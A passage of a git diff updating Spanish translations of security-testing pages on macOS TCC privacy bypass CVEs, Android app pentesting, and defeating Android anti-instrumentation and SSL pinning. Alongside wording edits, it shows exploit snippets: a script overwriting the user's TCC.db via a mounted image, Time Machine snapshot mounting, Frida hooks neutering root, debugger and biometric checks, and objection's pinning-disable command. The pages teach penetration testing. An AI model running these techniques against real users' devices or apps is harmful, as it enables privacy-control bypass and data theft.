original**](https://www.microsoft Existen diferentes técnicas para inyectar código dentro de un proceso y abusar de sus privilegios TCC: + {{#ref}} ../../../macos-proces-abuse/ {{#endref}} @@ -261,15 +262,15 @@ Los plugins son código extra, generalmente en forma de bibliotecas o plist, que ### CVE-2020-27937 - Directory Utility -La aplicación `/System/Library/CoreServices/Applications/Directory Utility.app` tenía el derecho **`kTCCServiceSystemPolicySysAdminFiles`**, cargaba plugins con extensión **`.daplug`** y **no tenía el** runtime endurecido. +La aplicación `/System/Library/CoreServices/Applications/Directory Utility.app` tenía el derecho **`kTCCServiceSystemPolicySysAdminFiles`**, cargaba plugins con extensión **`.daplug`** y **no tenía el runtime** endurecido. -Para armar este CVE, el **`NFSHomeDirectory`** es **cambiado** (abusando del derecho anterior) para poder **apoderarse de la base de datos TCC del usuario** y eludir TCC. +Para armar este CVE, se **cambia** el **`NFSHomeDirectory`** (abusando del derecho anterior) para poder **tomar el control de la base de datos TCC del usuario** y eludir TCC. Para más información, consulta el [**informe original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/). ### CVE-2020-29621 - Coreaudiod -El binario **`/usr/sbin/coreaudiod`** tenía los derechos `com.apple.security.cs.disable-library-validation` y `com.apple.private.tcc.manager`. El primero **permitiendo inyección de código** y el segundo otorgándole acceso para **gestionar TCC**. +El binario **`/usr/sbin/coreaudiod`** tenía los derechos `com.apple.security.cs.disable-library-validation` y `com.apple.private.tcc.manager`. El primero **permitiendo la inyección de código** y el segundo otorgándole acceso para **gestionar TCC**. Este binario permitía cargar **plugins de terceros** desde la carpeta `/Library/Audio/Plug-Ins/HAL`. Por lo tanto, era posible **cargar un plugin y abusar de los permisos TCC** con este PoC: ```objectivec @@ -340,13 +341,13 @@ Para más información sobre cómo explotar esto fácilmente [**consulta el info ### CVE-2020-10006 -El binario `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` tenía los derechos **`com.apple.private.tcc.allow`** y **`com.apple.security.get-task-allow`**, lo que permitía inyectar código dentro del proceso y usar los privilegios de TCC. +El binario `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` tenía los permisos **`com.apple.private.tcc.allow`** y **`com.apple.security.get-task-allow`**, lo que permitía inyectar código dentro del proceso y usar los privilegios de TCC. ### CVE-2023-26818 - Telegram -Telegram tenía los derechos **`com.apple.security.cs.allow-dyld-environment-variables`** y **`com.apple.security.cs.disable-library-validation`**, por lo que era posible abusar de ello para **obtener acceso a sus permisos** como grabar con la cámara. Puedes [**encontrar la carga útil en el informe**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). +Telegram tenía los permisos **`com.apple.security.cs.allow-dyld-environment-variables`** y **`com.apple.security.cs.disable-library-validation`**, por lo que era posible abusar de ello para **obtener acceso a sus permisos** como grabar con la cámara. Puedes [**encontrar la carga útil en el informe**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). -Nota cómo usar la variable de entorno para cargar una biblioteca, se creó un **plist personalizado** para inyectar esta biblioteca y se utilizó **`launchctl`** para lanzarla: +Nota cómo usar la variable de entorno para cargar una biblioteca, se creó un **plist personalizado** para inyectar esta biblioteca y se usó **`launchctl`** para lanzarla: ```xml @@ -382,7 +383,7 @@ Es posible invocar **`open`** incluso mientras está en sandbox ### Scripts de Terminal -Es bastante común dar acceso completo al disco (**Full Disk Access (FDA)**), al menos en computadoras utilizadas por personas técnicas. Y es posible invocar scripts **`.terminal`** con ello. +Es bastante común otorgar **Acceso Completo al Disco (FDA)**, al menos en computadoras utilizadas por personas técnicas. Y es posible invocar scripts **`.terminal`** con ello. Los scripts **`.terminal`** son archivos plist como este con el comando a ejecutar en la clave **`CommandString`**: ```xml @@ -413,12 +414,12 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app", exploit_location]; task.standardOutput = pipe; [task launch]; ``` -## Al montar +## By mounting -### CVE-2020-9771 - bypass de TCC de mount_apfs y escalada de privilegios +### CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation **Cualquier usuario** (incluso los no privilegiados) puede crear y montar un snapshot de Time Machine y **acceder a TODOS los archivos** de ese snapshot.\ -El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que debe ser concedido por un administrador. +El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso de **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que debe ser concedido por un administrador. ```bash # Create snapshot tmutil localsnapshot @@ -463,7 +464,7 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/") os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db") os.system("hdiutil detach /tmp/mnt 1>/dev/null") ``` -Verifica el **explotación completa** en el [**escrito original**](https://theevilbit.github.io/posts/cve-2021-30808/). +Revisa el **explotación completa** en el [**escrito original**](https://theevilbit.github.io/posts/cve-2021-30808/). ### CVE-2024-40855 @@ -480,7 +481,7 @@ La herramienta **`/usr/sbin/asr`** permitió copiar todo el disco y montarlo en ### Servicios de ubicación Hay una tercera base de datos TCC en **`/var/db/locationd/clients.plist`** para indicar los clientes permitidos para **acceder a los servicios de ubicación**.\ -La carpeta **`/var/db/locationd/` no estaba protegida contra el montaje de DMG**, por lo que era posible montar nuestro propio plist. +La carpeta **`/var/db/locationd/` no estaba protegida contra el montaje de DMG** por lo que era posible montar nuestro propio plist. ## Por aplicaciones de inicio @@ -496,7 +497,7 @@ En varias ocasiones, los archivos almacenarán información sensible como correo ## Clicks sintéticos -Esto ya no funciona, pero [**sí funcionó en el pasado**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:** +Esto ya no funciona, pero [**funcionó en el pasado**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 9119a8ecc..6fcf52e77 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -19,14 +19,14 @@ Echa un vistazo a la siguiente lista de [**Comandos ADB**](adb-commands.md) para ## Smali -A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (quizás contraseñas o banderas bien ofuscadas). Entonces, podría ser interesante descompilar el apk, modificar el código y recompilarlo.\ -[**En este tutorial** puedes **aprender a descompilar un APK, modificar el código Smali y recompilar el APK** con la nueva funcionalidad](smali-changes.md). Esto podría ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Entonces, **siempre ten en mente esta posibilidad**. +A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (quizás contraseñas o flags bien ofuscados). Entonces, podría ser interesante descompilar el apk, modificar el código y recompilarlo.\ +[**En este tutorial** puedes **aprender a descompilar un APK, modificar el código Smali y recompilar el APK** con la nueva funcionalidad](smali-changes.md). Esto podría ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Entonces, **siempre ten en cuenta esta posibilidad**. ## Otros trucos interesantes - [Suplantar tu ubicación en Play Store](spoofing-your-location-in-play-store.md) - [API Privilegiada Shizuku (acceso privilegiado no root basado en ADB)](shizuku-privileged-api.md) -- [Explotar Mecanismos Inseguros de Actualización In-App](insecure-in-app-update-rce.md) +- [Explotar Mecanismos de Actualización Insegura en la Aplicación](insecure-in-app-update-rce.md) - [Abusar de los Servicios de Accesibilidad (Android RAT)](accessibility-services-abuse.md) - **Descargar APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Extraer APK del dispositivo: @@ -50,10 +50,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` ## Estudios de Caso y Vulnerabilidades + {{#ref}} ../ios-pentesting/air-keyboard-remote-input-injection.md {{#endref}} + {{#ref}} ../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} @@ -73,7 +75,7 @@ Presta especial atención a las **URLs de firebase** y verifica si está mal con ### Comprensión Básica de la Aplicación - Manifest.xml, strings.xml -La **examinación de los archivos _Manifest.xml_ y _strings.xml_ de una aplicación puede revelar potenciales vulnerabilidades de seguridad**. Estos archivos pueden ser accedidos usando descompiladores o renombrando la extensión del archivo APK a .zip y luego descomprimiéndolo. +La **examinación de los archivos _Manifest.xml_ y **_strings.xml_** de una aplicación puede revelar potenciales vulnerabilidades de seguridad**. Estos archivos pueden ser accedidos usando descompiladores o renombrando la extensión del archivo APK a .zip y luego descomprimiéndolo. **Vulnerabilidades** identificadas en el **Manifest.xml** incluyen: @@ -81,7 +83,7 @@ La **examinación de los archivos _Manifest.xml_ y _strings.xml_ de una aplicaci - **Configuraciones de Respaldo**: El atributo `android:allowBackup="false"` debe ser establecido explícitamente para aplicaciones que manejan información sensible para prevenir respaldos de datos no autorizados a través de adb, especialmente cuando la depuración por usb está habilitada. - **Seguridad de Red**: Configuraciones de seguridad de red personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) en _res/xml/_ pueden especificar detalles de seguridad como pines de certificado y configuraciones de tráfico HTTP. Un ejemplo es permitir tráfico HTTP para dominios específicos. - **Actividades y Servicios Exportados**: Identificar actividades y servicios exportados en el manifiesto puede resaltar componentes que podrían ser mal utilizados. Un análisis adicional durante las pruebas dinámicas puede revelar cómo explotar estos componentes. -- **Proveedores de Contenido y FileProviders**: Los proveedores de contenido expuestos podrían permitir acceso no autorizado o modificación de datos. La configuración de los FileProviders también debe ser examinada. +- **Proveedores de Contenido y FileProviders**: Proveedores de contenido expuestos podrían permitir acceso o modificación no autorizada de datos. La configuración de los FileProviders también debe ser examinada. - **Receptores de Difusión y Esquemas de URL**: Estos componentes podrían ser aprovechados para explotación, prestando especial atención a cómo se gestionan los esquemas de URL para vulnerabilidades de entrada. - **Versiones de SDK**: Los atributos `minSdkVersion`, `targetSDKVersion` y `maxSdkVersion` indican las versiones de Android soportadas, destacando la importancia de no soportar versiones de Android obsoletas y vulnerables por razones de seguridad. @@ -94,6 +96,7 @@ En efecto, está **cegando al usuario para que no sepa que realmente está reali Encuentra más información en: + {{#ref}} tapjacking.md {{#endref}} @@ -104,6 +107,7 @@ Una **actividad** con el **`launchMode`** configurado como **`singleTask` sin ni Más información en: + {{#ref}} android-task-hijacking.md {{#endref}} @@ -167,14 +171,14 @@ Los desarrolladores no deberían usar **algoritmos obsoletos** para realizar **v ### Otras verificaciones - Se recomienda **ofuscar el APK** para dificultar el trabajo de ingeniería inversa a los atacantes. -- Si la aplicación es sensible (como las aplicaciones bancarias), debería realizar sus **propias verificaciones para ver si el móvil está rooteado** y actuar en consecuencia. -- Si la aplicación es sensible (como las aplicaciones bancarias), debería verificar si se está utilizando un **emulador**. -- Si la aplicación es sensible (como las aplicaciones bancarias), debería **verificar su propia integridad antes de ejecutarse** para comprobar si ha sido modificada. +- Si la aplicación es sensible (como aplicaciones bancarias), debería realizar sus **propias verificaciones para ver si el móvil está rooteado** y actuar en consecuencia. +- Si la aplicación es sensible (como aplicaciones bancarias), debería verificar si se está utilizando un **emulador**. +- Si la aplicación es sensible (como aplicaciones bancarias), debería **verificar su propia integridad antes de ejecutarse** para comprobar si ha sido modificada. - Usa [**APKiD**](https://github.com/rednaga/APKiD) para verificar qué compilador/empaquetador/ofuscador se utilizó para construir el APK. ### Aplicación React Native -Lee la siguiente página para aprender cómo acceder fácilmente al código javascript de las aplicaciones React: +Lee la siguiente página para aprender cómo acceder fácilmente al código javascript de aplicaciones React: {{#ref}} react-native-application.md @@ -182,7 +186,7 @@ react-native-application.md ### Aplicaciones Xamarin -Lee la siguiente página para aprender cómo acceder fácilmente al código C# de una aplicación xamarin: +Lee la siguiente página para aprender cómo acceder fácilmente al código C# de aplicaciones xamarin: {{#ref}} ../xamarin-apps.md @@ -192,9 +196,9 @@ Lee la siguiente página para aprender cómo acceder fácilmente al código C# d Según este [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superempaquetado es un algoritmo Meta que comprime el contenido de una aplicación en un solo archivo. El blog habla sobre la posibilidad de crear una aplicación que descomprima este tipo de aplicaciones... y una forma más rápida que implica **ejecutar la aplicación y recopilar los archivos descomprimidos del sistema de archivos.** -### Análisis Estático Automatizado de Código +### Análisis Estático Automatizado del Código -La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** mediante el **escaneo** del **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sumideros** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sumideros** que indica una vulnerabilidad. +La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** al **escanear** el **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sumideros** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sumideros** que indica una vulnerabilidad. Con este conocimiento, **mariana-trench revisará el código y encontrará posibles vulnerabilidades en él**. @@ -229,7 +233,7 @@ content-protocol.md > Primero que nada, necesitas un entorno donde puedas instalar la aplicación y todo el entorno (certificado CA de Burp, Drozer y Frida principalmente). Por lo tanto, se recomienda encarecidamente un dispositivo rooteado (emulado o no). -### Análisis dinámico en línea +### Análisis Dinámico en Línea Puedes crear una **cuenta gratuita** en: [https://appetize.io/](https://appetize.io). Esta plataforma te permite **subir** y **ejecutar** APKs, por lo que es útil para ver cómo se comporta un apk. @@ -264,7 +268,7 @@ Además, ten en cuenta que en la **configuración de la VM de Android en Genymot #### Usar un dispositivo físico -Necesitas activar las opciones de **depuración** y sería genial si puedes **rootearlo**: +Necesitas activar las **opciones de depuración** y sería genial si puedes **rootearlo**: 1. **Configuración**. 2. (Desde Android 8.0) Selecciona **Sistema**. @@ -279,7 +283,7 @@ Necesitas activar las opciones de **depuración** y sería genial si puedes **ro **Registro** -Los desarrolladores deben tener cuidado de exponer **información de depuración** públicamente, ya que puede llevar a filtraciones de datos sensibles. Se recomiendan las herramientas [**pidcat**](https://github.com/JakeWharton/pidcat) y `adb logcat` para monitorear los registros de la aplicación y identificar y proteger información sensible. **Pidcat** es preferido por su facilidad de uso y legibilidad. +Los desarrolladores deben tener cuidado de exponer **información de depuración** públicamente, ya que puede llevar a filtraciones de datos sensibles. Se recomiendan las herramientas [**pidcat**](https://github.com/JakeWharton/pidcat) y `adb logcat` para monitorear los registros de la aplicación y proteger la información sensible. **Pidcat** es preferido por su facilidad de uso y legibilidad. > [!WARNING] > Ten en cuenta que desde **versiones posteriores a Android 4.0**, **las aplicaciones solo pueden acceder a sus propios registros**. Así que las aplicaciones no pueden acceder a los registros de otras aplicaciones.\ @@ -287,7 +291,7 @@ Los desarrolladores deben tener cuidado de exponer **información de depuración **Caché del Portapapeles** -El marco **basado en portapapeles** de Android permite la funcionalidad de copiar y pegar en las aplicaciones, pero presenta un riesgo ya que **otras aplicaciones** pueden **acceder** al portapapeles, exponiendo potencialmente datos sensibles. Es crucial **deshabilitar las funciones de copiar/pegar** para secciones sensibles de una aplicación, como los detalles de tarjetas de crédito, para prevenir filtraciones de datos. +El marco **basado en portapapeles** de Android permite la funcionalidad de copiar y pegar en aplicaciones, pero presenta un riesgo ya que **otras aplicaciones** pueden **acceder** al portapapeles, exponiendo potencialmente datos sensibles. Es crucial **deshabilitar las funciones de copiar/pegar** para secciones sensibles de una aplicación, como los detalles de tarjetas de crédito, para prevenir filtraciones de datos. **Registros de Fallos** @@ -316,7 +320,7 @@ Drozer es una herramienta útil para **explotar actividades exportadas, servicio ### Explotando Actividades Exportadas [**Lee esto si quieres refrescar qué es una Actividad de Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -También recuerda que el código de una actividad comienza en el método **`onCreate`**. +También recuerda que el código de una actividad comienza en el **método `onCreate`**. **Bypass de Autorización** @@ -326,8 +330,8 @@ Cuando una Actividad es exportada, puedes invocar su pantalla desde una aplicaci También puedes iniciar una actividad exportada desde adb: -- PackageName es com.example.demo -- Exported ActivityName es com.example.test.MainActivity +- El nombre del paquete es com.example.demo +- El nombre de la actividad exportada es com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` @@ -342,35 +346,35 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity #### Tapjacking -Si no se previene el tapjacking, podrías abusar de la actividad exportada para hacer que el **usuario realice acciones inesperadas**. Para más información sobre [**qué es el Tapjacking sigue el enlace**](#tapjacking). +Si el tapjacking no se previene, podrías abusar de la actividad exportada para hacer que el **usuario realice acciones inesperadas**. Para más información sobre [**qué es el Tapjacking sigue el enlace**](#tapjacking). -### Explotando Content Providers - Accediendo y manipulando información sensible +### Explotando Proveedores de Contenido - Accediendo y manipulando información sensible -[**Lee esto si quieres refrescar qué es un Content Provider.**](android-applications-basics.md#content-provider)\ -Los content providers se utilizan básicamente para **compartir datos**. Si una aplicación tiene content providers disponibles, es posible que puedas **extraer datos sensibles** de ellos. También es interesante probar posibles **inyecciones SQL** y **Path Traversals** ya que podrían ser vulnerables. +[**Lee esto si quieres refrescar qué es un Proveedor de Contenido.**](android-applications-basics.md#content-provider)\ +Los proveedores de contenido se utilizan básicamente para **compartir datos**. Si una aplicación tiene proveedores de contenido disponibles, es posible que puedas **extraer datos sensibles** de ellos. También es interesante probar posibles **inyecciones SQL** y **Path Traversals** ya que podrían ser vulnerables. -[**Aprende cómo explotar Content Providers con Drozer.**](drozer-tutorial/index.html#content-providers) +[**Aprende cómo explotar Proveedores de Contenido con Drozer.**](drozer-tutorial/index.html#content-providers) -### **Explotando Services** +### **Explotando Servicios** -[**Lee esto si quieres refrescar qué es un Service.**](android-applications-basics.md#services)\ -Recuerda que las acciones de un Service comienzan en el método `onStartCommand`. +[**Lee esto si quieres refrescar qué es un Servicio.**](android-applications-basics.md#services)\ +Recuerda que las acciones de un Servicio comienzan en el método `onStartCommand`. -Un service es básicamente algo que **puede recibir datos**, **procesarlos** y **devolver** (o no) una respuesta. Entonces, si una aplicación está exportando algunos servicios, deberías **verificar** el **código** para entender qué está haciendo y **probarlo** **dinámicamente** para extraer información confidencial, eludir medidas de autenticación...\ -[**Aprende cómo explotar Services con Drozer.**](drozer-tutorial/index.html#services) +Un servicio es básicamente algo que **puede recibir datos**, **procesarlos** y **devolver** (o no) una respuesta. Entonces, si una aplicación está exportando algunos servicios, deberías **verificar** el **código** para entender qué está haciendo y **probarlo** **dinámicamente** para extraer información confidencial, eludir medidas de autenticación...\ +[**Aprende cómo explotar Servicios con Drozer.**](drozer-tutorial/index.html#services) -### **Explotando Broadcast Receivers** +### **Explotando Receptores de Difusión** -[**Lee esto si quieres refrescar qué es un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Recuerda que las acciones de un Broadcast Receiver comienzan en el método `onReceive`. +[**Lee esto si quieres refrescar qué es un Receptor de Difusión.**](android-applications-basics.md#broadcast-receivers)\ +Recuerda que las acciones de un Receptor de Difusión comienzan en el método `onReceive`. -Un broadcast receiver estará esperando un tipo de mensaje. Dependiendo de cómo el receptor maneje el mensaje, podría ser vulnerable.\ -[**Aprende cómo explotar Broadcast Receivers con Drozer.**](#exploiting-broadcast-receivers) +Un receptor de difusión estará esperando un tipo de mensaje. Dependiendo de cómo el receptor maneje el mensaje, podría ser vulnerable.\ +[**Aprende cómo explotar Receptores de Difusión con Drozer.**](#exploiting-broadcast-receivers) -### **Explotando Schemes / Deep links** +### **Explotando Esquemas / Enlaces profundos** -Puedes buscar deep links manualmente, utilizando herramientas como MobSF o scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Puedes **abrir** un **scheme** declarado usando **adb** o un **navegador**: +Puedes buscar enlaces profundos manualmente, utilizando herramientas como MobSF o scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Puedes **abrir** un **esquema** declarado usando **adb** o un **navegador**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` @@ -408,7 +412,7 @@ Un [informe de bug bounty interesante](https://hackerone.com/reports/855618) sob #### Verificación de Certificados -Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no encriptados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa. +Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque las configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no encriptados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa. #### SSL Pinning @@ -430,7 +434,7 @@ Cuando se implementa SSL Pinning, es necesario eludirlo para inspeccionar el tr - Podrías usar **Frida** (discutido a continuación) para eludir esta protección. Aquí tienes una guía para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - También puedes intentar **eludir automáticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - También puedes intentar **eludir automáticamente SSL Pinning** usando **análisis dinámico de MobSF** (explicado a continuación) -- Si aún piensas que hay tráfico que no estás capturando, puedes intentar **redirigir el tráfico a burp usando iptables**. Lee este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Si aún piensas que hay algún tráfico que no estás capturando, puedes intentar **redirigir el tráfico a burp usando iptables**. Lee este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Búsqueda de Vulnerabilidades Web Comunes @@ -473,7 +477,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Datos sensibles en Keystore** -En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios, aún es **posible acceder a él**. Dado que las aplicaciones tienden a almacenar aquí **datos sensibles en texto claro**, las pruebas de penetración deben verificarlo, ya que un usuario root o alguien con acceso físico al dispositivo podría ser capaz de robar estos datos. +En Android, el Keystore es el mejor lugar para almacenar datos sensibles; sin embargo, con suficientes privilegios, **es posible acceder a él**. Dado que las aplicaciones tienden a almacenar aquí **datos sensibles en texto claro**, las pruebas de penetración deben verificarlo, ya que un usuario root o alguien con acceso físico al dispositivo podría robar estos datos. Incluso si una aplicación almacena datos en el keystore, los datos deben estar cifrados. @@ -481,7 +485,7 @@ Para acceder a los datos dentro del keystore, podrías usar este script de Frida ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` -### **Bypass de huellas dactilares/bio-metría** +### **Bypass de huellas dactilares/biométricos** Usando el siguiente script de Frida, podría ser posible **eludir la autenticación por huella dactilar** que las aplicaciones de Android podrían estar realizando para **proteger ciertas áreas sensibles:** ```bash @@ -489,7 +493,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ` `VT_UPLOAD = TRUE`). También puedes establecer `VT_UPLOAD` en `False`, entonces el **hash** será **subido** en lugar del archivo. @@ -555,7 +559,7 @@ El **analizador dinámico de MobSF** puede: - Capturar **tráfico HTTPS** - Usar **Frida** para obtener **información** **en tiempo de ejecución** -Desde las versiones de Android **> 5**, **iniciará automáticamente Frida** y establecerá configuraciones de **proxy** globales para **capturar** tráfico. Solo capturará tráfico de la aplicación probada. +Desde versiones de android **> 5**, **iniciará automáticamente Frida** y establecerá configuraciones de **proxy** globales para **capturar** tráfico. Solo capturará tráfico de la aplicación probada. **Frida** @@ -576,7 +580,7 @@ Además, tienes algunas funcionalidades auxiliares de Frida: - **Buscar Patrón de Clase**: Buscar clases por patrón - **Rastrear Métodos de Clase**: **Rastrear** una **clase completa** (ver entradas y salidas de todos los métodos de la clase). Recuerda que por defecto MobSF rastrea varios métodos interesantes de la API de Android. -Una vez que hayas seleccionado el módulo auxiliar que deseas usar, necesitas presionar "**Start Instrumentation**" y verás todas las salidas en "**Frida Live Logs**". +Una vez que hayas seleccionado el módulo auxiliar que deseas usar, necesitas presionar "**Start Intrumentation**" y verás todas las salidas en "**Frida Live Logs**". **Shell** @@ -666,7 +670,7 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** es una herramienta cuyo objetivo principal es detectar y advertir al usuario sobre comportamientos maliciosos potenciales desarrollados por una aplicación de Android. +**Androwarn** es una herramienta cuyo objetivo principal es detectar y advertir al usuario sobre comportamientos potencialmente maliciosos desarrollados por una aplicación de Android. La detección se realiza con el **análisis estático** del bytecode Dalvik de la aplicación, representado como **Smali**, con la biblioteca [`androguard`](https://github.com/androguard/androguard). @@ -699,7 +703,7 @@ Tenga en cuenta que dependiendo del servicio y la configuración que utilice par ### [ProGuard]() -De [Wikipedia](): **ProGuard** es una herramienta de línea de comandos de código abierto que reduce, optimiza y ofusca código Java. Es capaz de optimizar bytecode así como detectar y eliminar instrucciones no utilizadas. ProGuard es software libre y se distribuye bajo la Licencia Pública General de GNU, versión 2. +De [Wikipedia](): **ProGuard** es una herramienta de línea de comandos de código abierto que reduce, optimiza y ofusca el código Java. Es capaz de optimizar bytecode así como detectar y eliminar instrucciones no utilizadas. ProGuard es software libre y se distribuye bajo la Licencia Pública General de GNU, versión 2. ProGuard se distribuye como parte del SDK de Android y se ejecuta al construir la aplicación en modo de lanzamiento. @@ -731,7 +735,7 @@ Es un **desofuscador genérico de android.** Simplify **ejecuta virtualmente una ### [APKiD](https://github.com/rednaga/APKiD) -APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **compiladores**, **empaquetadores**, **ofuscadores** y otras cosas extrañas. Es [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android. +APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **compiladores**, **empaquetadores**, **ofuscadores**, y otras cosas raras. Es [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android. ### Manual diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index 5743db2ce..e3f251d94 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -10,7 +10,7 @@ Esta página proporciona un flujo de trabajo práctico para recuperar el anális - Comprobaciones de Frida/debugger (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), escaneando /proc, classpath, libs cargadas - Anti-debug nativo: ptrace(), syscalls, anti-attach, breakpoints, inline hooks - Comprobaciones de inicio temprano: Application.onCreate() o ganchos de inicio de proceso que fallan si la instrumentación está presente -- Pining TLS: TrustManager/HostnameVerifier personalizado, OkHttp CertificatePinner, pining de Conscrypt, pines nativos +- Pining TLS: TrustManager/HostnameVerifier personalizados, OkHttp CertificatePinner, pining de Conscrypt, pines nativos ## Paso 1 — Victoria rápida: ocultar root con Magisk DenyList @@ -70,7 +70,7 @@ APIs comunes para revisar/enganchar: ## Paso 5 — Stubbing en tiempo de ejecución con Frida (Java) -Sobrescribir guardias personalizadas para devolver valores seguros sin reempaquetar: +Sobrescribir guardias personalizadas para devolver valores seguros sin recompresión: ```js Java.perform(() => { const Checks = Java.use('com.example.security.Checks'); @@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager'); AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); }; }); ``` -¿Clasificando fallos tempranos? Volcar clases justo antes de que muera para detectar posibles espacios de nombres de detección: +¿Clasificando fallos tempranos? Volcar clases justo antes de que muera para detectar espacios de nombres de detección probables: ```js Java.perform(() => { Java.enumerateLoadedClasses({ @@ -130,13 +130,13 @@ return -1; // pretend failure }, 'int', ['int', 'int', 'pointer', 'pointer'])); } ``` -See also: {{#ref}} +Véase también: {{#ref}} reversing-native-libraries.md {{#endref}} ## Paso 7 — Patching de Objection (incrustar gadget / conceptos básicos de strip) -Cuando prefieras el repacking a los hooks de tiempo de ejecución, prueba: +Cuando prefieras el repacking a los hooks en tiempo de ejecución, prueba: ```bash objection patchapk --source app.apk ``` diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index 073486f88..5504b766b 100644 --- 